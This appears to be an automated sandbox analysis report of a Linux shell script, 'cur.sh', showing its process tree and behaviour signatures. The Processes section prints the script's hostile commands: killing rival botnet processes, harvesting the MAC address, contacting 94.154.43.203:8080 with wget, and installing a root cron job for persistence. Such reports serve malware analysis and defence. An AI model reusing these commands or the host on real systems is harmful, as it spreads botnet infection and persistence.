Analysis

  • max time kernel
    2s
  • max time network
    4s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    02/10/2026, 18:58

General

  • Target
    cur.sh
  • Size 7KB
  • Sample261002-xmmsgax15j
  • SHA256 2d3dcbeffb68ab8d4f0ada8a907d435852c7d2c8a19feed18441274c2f7b9648
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/cur.sh
    /tmp/cur.sh
    1⤵
    • Creates/modifies Cron job
    PID:637
    • /usr/bin/tr
      tr -cd 0-9
      2⤵
        PID:641
      • /usr/bin/wc
        wc -c
        2⤵
          PID:640
        • /usr/bin/killall
          killall -9 robben
          2⤵
          • Reads runtime system information
          PID:644
        • /usr/bin/killall
          killall -9 net.x86
          2⤵
          • Reads runtime system information
          PID:651
        • /usr/bin/killall
          killall -9 net.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:658
        • /usr/bin/killall
          killall -9 net.arm
          2⤵
          • Reads runtime system information
          PID:663
        • /usr/bin/killall
          killall -9 net.arm5
          2⤵
          • Reads runtime system information
          PID:664
        • /usr/bin/killall
          killall -9 net.arm6
          2⤵
          • Reads runtime system information
          PID:667
        • /usr/bin/killall
          killall -9 net.arm7
          2⤵
          • Reads runtime system information
          PID:669
        • /usr/bin/killall
          killall -9 net.mpsl
          2⤵
          • Reads runtime system information
          PID:672
        • /usr/bin/killall
          killall -9 net.ppc
          2⤵
          • Reads runtime system information
          PID:674
        • /usr/bin/killall
          killall -9 net.m68k
          2⤵
          • Reads runtime system information
          PID:675
        • /usr/bin/killall
          killall -9 net.sh4
          2⤵
          • Reads runtime system information
          PID:676
        • /usr/bin/killall
          killall -9 net.i486
          2⤵
          • Reads runtime system information
          PID:677
        • /usr/bin/killall
          killall -9 net.i686
          2⤵
          • Reads runtime system information
          PID:679
        • /usr/bin/killall
          killall -9 px86
          2⤵
          • Reads runtime system information
          PID:680
        • /usr/bin/killall
          killall -9 pmips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          PID:681
        • /usr/bin/killall
          killall -9 parm
          2⤵
          • Reads runtime system information
          PID:682
        • /usr/bin/killall
          killall -9 hajime
          2⤵
          • Reads runtime system information
          PID:683
        • /usr/bin/killall
          killall -9 sora
          2⤵
          • Reads runtime system information
          PID:684
        • /usr/sbin/cron
          /usr/sbin/cron
          2⤵
            PID:685
          • /usr/bin/cron
            /usr/bin/cron
            2⤵
              PID:686
            • /usr/bin/killall
              killall -1 crond
              2⤵
              • Reads runtime system information
              PID:687
            • /usr/bin/killall
              killall -1 cron
              2⤵
              • Reads runtime system information
              PID:688
            • /usr/bin/touch
              touch /tmp/.xmN
              2⤵
              • Writes file to tmp directory
              PID:689
            • /bin/grep
              grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
              2⤵
                PID:693
              • /usr/bin/tr
                tr -d :
                2⤵
                  PID:695
                • /bin/grep
                  grep -iE "hwaddr|ether"
                  2⤵
                    PID:692
                  • /usr/bin/head
                    head -1
                    2⤵
                      PID:694
                    • /bin/grep
                      grep -iE link/ether
                      2⤵
                        PID:698
                      • /sbin/ip
                        ip addr show
                        2⤵
                        • System Network Configuration Discovery
                        PID:697
                      • /bin/grep
                        grep -oE "([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}"
                        2⤵
                          PID:699
                        • /usr/bin/tr
                          tr -d :
                          2⤵
                            PID:701
                          • /usr/bin/head
                            head -1
                            2⤵
                              PID:700
                            • /usr/bin/wget
                              wget -q -O - http://94.154.43.203:8080/lease-xm6a031b5a93a4
                              2⤵
                                PID:702
                              • /bin/cat
                                cat /tmp/.xmver
                                2⤵
                                  PID:703
                                • /usr/bin/killall
                                  killall -9 xm
                                  2⤵
                                  • Reads runtime system information
                                  PID:704
                                • /usr/bin/killall
                                  killall -9 .sd
                                  2⤵
                                  • Reads runtime system information
                                  PID:705
                                • /bin/rm
                                  rm -f /tmp/.xmN
                                  2⤵
                                    PID:706
                                • /usr/bin/wget
                                  wget -q -O /dev/null http://94.154.43.203:8080/skip-xm6a031b5a93a4-v20
                                  1⤵
                                    PID:707

                                  Network

                                        MITRE ATT&CK Enterprise v16

                                        Replay Monitor

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                                        Downloads

                                        root

                                        • Path /var/spool/cron/crontabs/root
                                        • Size 88B
                                        • SHA256 daa55b680d452f0bde4dfb4433d4ae26395e58bdf8dba0a8925d94a447936a7d
                                        • MD5 SHA1 SHA512 TLSH